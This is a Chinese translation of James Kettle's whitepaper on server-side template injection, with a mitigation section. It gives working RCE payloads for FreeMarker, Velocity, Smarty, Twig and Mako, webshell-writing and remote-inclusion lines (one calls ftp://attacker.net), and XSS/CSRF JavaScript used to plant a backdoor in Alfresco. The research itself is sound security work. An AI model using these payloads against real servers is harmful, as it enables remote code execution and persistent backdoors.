服务器端模板注入:现代Web应用的远程代码执行
作者:James Kettle - james.kettle@portswigger.net - @albinowax
翻译来源:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
摘要
模板引擎被Web应用广泛用于通过网页和邮件呈现动态数据。将用户输入不安全地嵌入模板会导致服务端模板注入,这是一种经常性的严重漏洞,极易被误认为跨站脚本(XSS)或被完全忽略。与XSS不同,模板注入可用于直接攻击Web服务器内部,并通常能获得远程代码执行(RCE),使每个存在漏洞的应用成为潜在的攻击跳板。
模板注入可能源于开发者错误,也可能源于故意暴露模板以提供丰富功能(如维基、博客、营销应用和内容管理系统通常所做的)。有意的模板注入是一种常见用例,许多模板引擎为此专门提供了“沙箱”模式。本文定义了一套检测和利用模板注入的方法论,并展示了如何将其应用于两个广泛部署的企业级Web应用,实现RCE 0day漏洞。针对五种最流行的模板引擎,演示了通用利用方法,包括逃逸那些本意是安全处理用户提供模板的沙箱。
大纲
• 引言 • 方法论 • 检测 • 识别 • 利用 • 漏洞利用开发 • FreeMarker • Velocity • Smarty • Twig • Jade • 案例研究 • Alfresco • XWiki Enterprise • 缓解措施 • 结论
引言
Web应用经常使用模板系统(如Twig和FreeMarker)在网页和邮件中嵌入动态内容。当用户输入以不安全的方式嵌入模板时,就会发生模板注入。考虑一个营销应用,它批量发送邮件,并使用Twig模板按收件人姓名打招呼。如果仅将姓名传入模板,如下例所示,一切正常:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name));然而,如果允许用户自定义这些邮件,就会出现问题:
$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name));在此示例中,用户通过custom_email GET参数控制了模板本身的内容,而不是传入其中的值。这导致了一个难以忽视的XSS漏洞。但是,XSS只是一个更微妙、更严重漏洞的征兆。这段代码实际上暴露了一个广阔但容易被忽视的攻击面。以下两个问候消息的输出暗示了服务端漏洞:
custom_email={{7*7}} → 49custom_email={{self}} → Object of class Twig_Template_... could not be converted to string我们这里本质上是在沙箱内实现了服务端代码执行。根据所使用的模板引擎不同,可能能够逃逸沙箱并执行任意代码。
这种漏洞通常源于开发者有意让用户提交或编辑模板——某些模板引擎为此目的提供了“安全模式”。它绝不仅限于营销应用——任何支持高级用户提供标记的功能都可能存在漏洞,包括维基页面、评论甚至留言。模板注入也可能意外产生,比如当用户输入被直接拼接到模板中时。这可能有点反直觉,但它类似于预编译语句中写得不好导致的SQL注入,这种情况相对常见。此外,无意的模板注入极易被忽略,因为通常没有任何可见线索。与所有基于输入的漏洞一样,输入可能源自带外源。例如,它可能作为本地文件包含(LFI)的一种变体出现,通过经典的LFI技术(如嵌入日志文件、会话文件或/proc/self/env中的代码)加以利用。
“服务端”限定词用于区分本漏洞与客户端模板库(如jQuery和KnockoutJS)中的漏洞。客户端模板注入通常可被滥用于XSS攻击。本文仅专注于攻击服务端模板,目标是获得任意代码执行。
方法论
基于对一系列存在漏洞的应用和模板引擎的审计经验,我定义了以下高层方法论,以捕获高效的攻击过程:

一、检测
该漏洞可能出现在两种不同的上下文中,每种上下文需要其自己的检测方法:
1. 纯文本上下文
大多数模板语言支持自由文本上下文,你可以直接输入HTML。它通常以下列方式之一出现:

这通常会导致XSS,因此XSS的存在可作为更深入模板注入探测的线索。模板语言使用的语法特意选择不与普通HTML中的字符冲突,因此手动黑盒安全评估很容易完全错过模板注入。要检测它,我们需要通过嵌入语句来调用模板引擎。模板语言数量庞大,但许多共享基本语法特征。我们可以利用这一点,发送通用的、与模板无关的payload,使用基本操作,通过单个HTTP请求检测多个模板引擎:

2. 代码上下文
用户输入也可能被放置在模板语句内部,通常作为变量名:
personal_greeting ≡ username → Hello user01
这种变体在评估中更容易被忽略,因为它不会导致明显的XSS,几乎与简单的哈希映射查找无法区分。将username的值改为其他内容通常会导致空白结果或应用报错。可以通过以下方式稳健地检测:先确认参数没有直接XSS,然后跳出模板语句并在其后注入HTML标签:

二、识别
检测到模板注入后,下一步是识别模板引擎。有时这一步很简单:提交无效语法,模板引擎可能会在错误消息中自我标识。但是,当错误消息被抑制时,此方法失效,且不适合自动化。我们在Burp Suite中使用基于语言特定payload的决策树实现了自动化。绿色和红色箭头分别代表“成功”和“失败”响应。在某些情况下,单个payload可以有多个不同的成功响应——例如,探测payload {{7*'7'}} 在Twig中结果为49,在Jinja2中结果为7777777,如果没有模板语言则无结果。

三、利用
阅读
发现模板注入并识别模板引擎后的第一步是阅读文档。这一步的重要性不可低估;后续的一个0day漏洞仅仅通过仔细研读文档就找到了。关键关注区域:
• “给模板作者” 章节:涵盖基本语法。 • “安全注意事项”:很可能开发该应用的人没读过,里面可能包含一些有用的提示。 • 内置方法、函数、过滤器和变量列表。 • 扩展/插件列表:某些可能默认启用。
探索环境
假设没有立刻显现的利用方法,下一步是探索环境,确切了解你能访问什么。你可以找到模板引擎提供的默认对象,以及开发者传入模板的应用特定对象。许多模板系统暴露一个self或命名空间对象,包含作用域内的所有内容,并有一种习惯用法来列出对象的属性和方法。
如果没有内置的self对象,你将不得不暴力破解变量名。我为此创建了一个词表,通过爬取GitHub上PHP项目中使用的GET/POST变量名,并通过FuzzDB和Burp Intruder的词表集合公开发布。
开发者提供的对象尤其可能包含敏感信息,并且可能在应用内的不同模板之间有所不同,因此理想情况下应对每个不同的模板分别执行此过程。
攻击
此时,你应该对可用的攻击面有了清晰的认识,能够继续进行传统安全审计技术,审查每个函数是否存在可利用的漏洞。重要的是要在更广泛的应用上下文中进行——某些函数可用于利用应用特定的功能。后续示例将使用模板注入触发任意对象创建、任意文件读/写、远程文件包含、信息泄露和权限提升漏洞。
漏洞利用开发
我审计了一系列流行的模板引擎,以在实践中展示利用方法论,并证明该问题的严重性。这些发现可能看起来像是模板引擎本身的缺陷,但除非某个引擎宣称适用于用户提交的模板,否则防止模板注入的责任最终在于Web应用开发者。
有时,浏览文档三十秒就足以获得RCE。例如,利用未沙箱化的Smarty就像这样简单:
{php}system('id'){/php}
Mako同样易于利用:
<%import osx=os.open('id').read()%>${x}然而,许多模板引擎试图通过限制执行任意代码的能力来防止应用程序逻辑混入模板。其他引擎则明确尝试限制和沙箱化模板,作为安全措施以实现安全处理不可信输入。在这些限制之间,开发模板后门可能是一个相当具有挑战性的过程。
FreeMarker
FreeMarker是一个流行的Java模板引擎。其FAQ中有一个问题:
22. 我可以允许用户上传模板吗?安全影响是什么?
通常你不应该允许这样做,除非这些用户是系统管理员或其他受信任的人员。将模板视为源代码的一部分,就像*.java文件一样。如果你仍然想允许用户上传模板,请考虑以下几点:http://freemarker.org/docs/app_faq_html#faq_template_uploading_security
在列出的较低风险(如拒绝服务)之后,我们发现:
新的内置指令(
Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver):它在模板中如"com.example.SomeClass"?new()使用,对于部分用Java实现的FTL库很重要,但普通模板不应需要。虽然new不会实例化非TemplateModel的类,但FreeMarker包含一个TemplateModel类,可用于创建任意Java对象。其他“危险”的TemplateModel可能存在于你的类路径中。此外,即使一个类没有实现TemplateModel,它的静态初始化也会运行。为了避免这些问题,你应该使用限制可访问类的TemplateClassResolver(可能基于哪个模板请求它们),例如TemplateClassResolver.ALLOWS_NOTHING_RESOLVER。
这个警告有点隐晦,但它确实暗示new内置指令可能提供一条有希望的利用途径。我们看看关于new的文档:
这个内置指令可能带来安全风险,因为模板作者可以创建任意Java对象并使用它们,只要它们实现了
TemplateModel。此外,模板作者可以触发甚至没有实现TemplateModel的类的静态初始化。[略] 如果你允许不太受信任的用户上传模板,那么你一定要研究这个话题。Seldom used and expert built-ins - Apache FreeMarker Manual
有哪些有用的类实现了TemplateModel?看看JavaDoc:
https://%E5%9B%BE%E7%89%87%E5%8D%A0%E4%BD%8D%E7%AC%A6
其中一个类名很突出:Execute。
文档确认它正如其名——接收输入并执行:
publicclassExecuteimplementsTemplateMethodModel赋予FreeMarker执行外部命令的能力。将派生一个进程,并将该进程发送到stdout的任何内容内联到模板中。
使用它非常简单:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)这个payload将在后面的案例中发挥作用。
Velocity
Velocity是另一个流行的Java模板语言,利用起来更棘手。没有“安全注意事项”页面来帮助指出最危险的函数,也没有明显的默认变量列表。下面的截图显示了Burp Intruder工具用于暴力破解变量名,左侧“payload”列是变量名,右侧是服务器输出。

$class变量(高亮显示)看起来特别有希望,因为它返回一个通用的Object。谷歌搜索它指向:
https://velocity.apache.org/tools/releases/2.0/summary.html
ClassTool:用于在模板中使用Java反射的工具,默认键:
$class
一个方法和一个属性很突出:
• $class.inspect(class/object/string)– 返回一个新的ClassTool实例,检查指定的类或对象• $class.type– 返回实际被检查的Class
换句话说,我们可以链式调用$class.inspect和$class.type来获得任意对象的引用。然后可以使用Runtime.exec()在目标系统上执行任意shell命令。这可以通过以下模板确认,该模板设计用于产生明显的5秒延迟:
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()[5 second time delay] 0获取shell命令的输出稍微棘手(毕竟是Java):
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read()))#endtomcat7Smarty
Smarty是最流行的PHP模板语言之一,并为不可信模板执行提供了安全模式。该模式强制执行安全PHP函数的白名单,因此模板不能直接调用system()。然而,它并不阻止我们调用任何能获得引用的类上的方法。文档揭示内置变量$smarty可用于访问各种环境变量,包括$SCRIPT_NAME中当前文件的位置。变量名暴力破解很快发现了self对象,它是对当前模板的引用。关于它的文档很少,但代码都在GitHub上。getStreamVariable方法非常有价值:

getStreamVariable方法可用于读取服务器具有读写权限的任何文件:

此外,我们可以调用任意静态方法。Smarty暴露了一系列宝贵的静态类,包括Smarty_Internal_Write_File,它具有以下方法:
publicfunctionwriteFile($_filepath, $_contents, Smarty $smarty)该函数设计用于创建和覆盖任意文件,因此可以轻松地在webroot内创建PHP后门,授予我们对服务器的近乎完全控制。有一个问题——第三个参数有Smarty类型提示,因此它会拒绝任何非Smarty类型的输入。这意味着我们需要获得一个Smarty对象的引用。
进一步的代码审查揭示self::clearConfig()方法适用:
/**- Deassigns a single or all config variables- @param string $varname variable name or null- @return Smarty_Internal_Data current Smarty_Internal_Data (or Smarty or Smarty_Internal_Template) instance for chaining */publicfunctionclearConfig($varname = null){returnSmarty_Internal_Extension_Config::clearConfig($this, $varname); }最终的exploit,设计用后门覆盖易受攻击的文件,如下所示:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}Twig
Twig是另一个流行的PHP模板语言。默认情况下它具有类似于Smarty安全模式的限制,但有两个显著的额外限制——不能调用静态方法,且所有函数的返回值都被强制转换为字符串。这意味着我们不能像使用Smarty的self::clearConfig()那样使用函数获得对象引用。与Smarty不同,Twig有文档化的self对象(_self),因此我们不需要暴力破解变量名。
_self对象不包含任何有用的方法,但有一个env属性,指向一个Twig_Environment对象,看起来更有希望。Twig_Environment上的setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置。一个明显的攻击是将缓存位置设置为远程服务器,引入远程文件包含漏洞:
{{_self.env.setCache("ftp://attacker.net:1212")}}{{_self.env.loadTemplate("backdoor")}}然而,现代PHP版本默认通过allow_url_include禁用远程文件包含,因此这种方法用处不大。进一步的代码审查在第874行发现了一个对危险的call_user_func函数的调用,位于getFilter方法中。只要我们控制其参数,就可以用它调用任意PHP函数。
publicfunctiongetFilter($name){ [snip]foreach ($this->filterCallbacks as$callback) {if (false !== $filter = call_user_func($callback, $name)) {return$filter; } }returnfalse;}publicfunctionregisterUndefinedFilterCallback($callback){$this->filterCallbacks[] = $callback;}执行任意shell命令因此只需注册exec作为过滤器回调,然后调用getFilter:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)Twig沙箱逃逸
Twig的沙箱引入了额外限制。它禁用属性检索并添加函数和方法调用的白名单,因此默认情况下我们根本无法调用任何函数,即使是开发者提供的对象上的方法。表面上看,这使得利用几乎不可能。不幸的是,源代码讲述了一个不同的故事:
publicfunctioncheckMethodAllowed($obj, $method){if ($objinstanceof Twig_TemplateInterface || $objinstanceof Twig_Markup) {returntrue; }}由于这段代码,我们可以在实现Twig_TemplateInterface的对象上调用任何方法,而_self恰好实现了该接口。_self对象的displayBlock方法提供了一个高级小工具:
publicfunctiondisplayBlock($name, array$context, array$blocks = array(), $useBlocks = true){$name = (string) $name;if ($useBlocks && isset($blocks[$name])) { $template = $blocks[$name][0];$block = $blocks[$name][1]; } elseif (isset($this->blocks[$name])) { $template = $this->blocks[$name][0];$block = $this->blocks[$name][1]; } else { $template = null;$block = null; }if (null != $template) {try {$template->$block($context, $blocks); } catch (Twig_Error $e) { } }}$template->$block($context, $blocks);调用可被滥用以绕过函数白名单,并在用户能获得引用的任何对象上调用任何方法。以下代码将调用userObject对象上的vulnerableMethod方法,不带参数。
{{_self.displayBlock("id",[],"id":[userObject,"vulnerableMethod"])}}这不能用于利用之前使用的Twig_Environment->getFilter()方法,因为无法获得Environment对象的引用。然而,它确实意味着我们可以调用开发者传入模板的任何对象上的方法——可以迭代_context对象的属性以查看作用域内是否有任何有用的东西。后面的XWiki示例说明了如何利用开发者提供的类。
Jade
Jade是一个流行的Node.js模板引擎。CodePen.io网站让用户有意提交多种语言的模板,适合展示纯粹的黑盒利用过程。以下步骤的视觉描述请参考演示幻灯片。
首先,确认模板执行:

定位self对象:

找到列出对象属性和函数的方法:

探索有前途的对象:

绕过简单的对抗措施:

定位有用的函数:

案例研究
Alfresco
Alfresco是一个面向企业用户的内容管理系统(CMS)。低权限用户可以通过评论系统中的存储型XSS漏洞结合FreeMarker模板注入,获得Web服务器上的shell。之前创建的FreeMarker payload无需修改即可直接使用,但我将其扩展为一个经典后门,执行查询字符串中的任意shell命令:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex(url.getArgs())}低权限用户没有编辑模板的权限,但存储型XSS漏洞可用于强制管理员为我们安装后门。我注入以下JavaScript来发起攻击:
tok = /Alfresco-CSRFToken=([^*]*)/.exec(document.cookie)[1];tok = decodeURIComponent(tok);do_csrf = newXMLHttpRequest();do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace/SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false);do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8');do_csrf.setRequestHeader('Alfresco-CSRFToken',tok);do_csrf.send('{"prop_cm_name":"folder.get.html.f1l","prop_cm_content":"<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(url.getArgs())}","prop_cm_description":"")}');模板的GUID值在不同安装中可能不同,但低权限用户可以通过“数据字典”轻松看到。此外,管理用户的操作受到相当限制,不像其他应用中管理员被故意授予对Web服务器的完全控制。

根据Alfresco自己的文档,SELinux不会限制产生的shell:
如果你使用安装向导安装Alfresco,安装中包含的
alfresco.sh脚本会在整个系统中禁用安全增强Linux(SELinux)功能。http://docs.alfresco.com/5.0/tasks/alfresco-start.html
XWiki Enterprise
XWiki Enterprise是一个功能丰富的专业维基。在默认配置中,匿名用户可以注册账户并编辑维基页面,页面中可以包含嵌入的Velocity模板代码。这使其成为模板注入的绝佳目标。然而,之前创建的通用Velocity payload不起作用,因为$class helper不可用。
XWiki对Velocity有如下说明:
它不需要特殊权限,因为它在沙箱中运行,只能访问少数安全对象,并且每个API调用都会检查维基中配置的权限,禁止访问当前用户不应检索/执行的资源或操作。其他脚本语言要求编写脚本的用户拥有编程权限才能执行它们,但除了这个初始前提外,可以访问服务器上的所有资源。没有编程权限,不可能实例化新对象,除了字面量和XWiki API安全提供的对象。然而,如果正确遵循“XWiki方式”,XWiki API足够强大,可以安全地开发广泛的应用程序。查看包含需要编程权限的脚本的页面不需要编程权限,权限仅在保存时需要。http://platform.xwiki.org/xwiki/bin/view/DevGuide/scripting
换句话说,XWiki不仅支持Velocity,还支持未沙箱化的Groovy和Python脚本。但这些脚本仅限于拥有编程权限的用户。这很好,因为它将权限提升转化为任意代码执行。由于我们只能使用Velocity,因此受限于XWiki API。
$doc类有一些非常有趣的方法——敏锐的读者可能能从以下内容中识别出一个隐含的漏洞:
void save()void save(String comment)void save(String comment, boolean minorEdit)void saveAsAuthor() Save the document if the content author of the script calling this method has permission to do so.维基页面的内容作者是最后编辑它的用户。存在不同的save和saveAsAuthor方法意味着save方法不是以作者身份保存,而是以当前查看页面的人的身份保存。换句话说,低权限用户可以创建一个维基页面,当具有编程权限的用户查看该页面时,该页面会静默修改自身并以那些权限保存修改。为了注入以下Python后门:

我们只需用一些代码包裹它,以获取经过的管理员权限:

一旦具有编程权限的用户查看了包含此内容的维基页面,它就会自我后门化。随后任何用户查看该页面时,都可以使用它执行任意shell命令。

虽然我选择利用$doc.save(),但这远非唯一有希望的API方法。其他潜在有用的方法包括$xwiki.getURLContent("http://internal-server.net"),$request.getCookie("password").getValue(),以及$services.csrf.getToken()。
缓解措施 – 安全的模板使用
如果用户提供的模板是业务需求,应该如何实现?我们已经看到正则表达式不是有效的防御,解析器级别的沙箱容易出错。风险最低的方法是使用简单的模板引擎,如Mustache或Python的Template。MediaWiki采取的方法是在沙箱化的Lua环境中执行用户代码,其中潜在危险的模块和函数已被直接移除。考虑到缺乏入侵Wikipedia的报告,这一策略似乎经受住了考验。在Ruby等语言中,可以通过猴子补丁模拟这种方法。
另一种互补的方法是承认任意代码执行是不可避免的,并将其沙箱化在锁定下的Docker容器中。通过放弃能力、只读文件系统以及内核加固,可以构建一个难以逃逸的“安全”环境。
结论
模板注入只有明确查找它的审计人员才能发现,并且在投入资源评估模板引擎的安全状况之前,可能错误地看起来是低严重性。这解释了为什么模板注入直到现在仍然相对不为人知,其在野外的普遍性仍有待确定。
模板引擎是服务端沙箱。因此,允许不可信用户编辑模板会带来一系列严重风险,这些风险可能在模板系统的文档中明显也可能不明显。许多旨在防止模板造成伤害的现代技术目前尚不成熟,除作为纵深防御措施外不应依赖。当模板注入发生时,无论是有意还是无意,它通常是一个关键漏洞,会暴露Web应用、底层Web服务器以及相邻的网络服务。
通过彻底记录这个问题,并通过Burp Suite发布自动化检测,我们希望提高对此问题的认识并显著减少其普遍性。
原文件:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
下载链接(12小时有效):http://www.boloveyou.fun/fileserver/filetransfer.html
夜雨聆风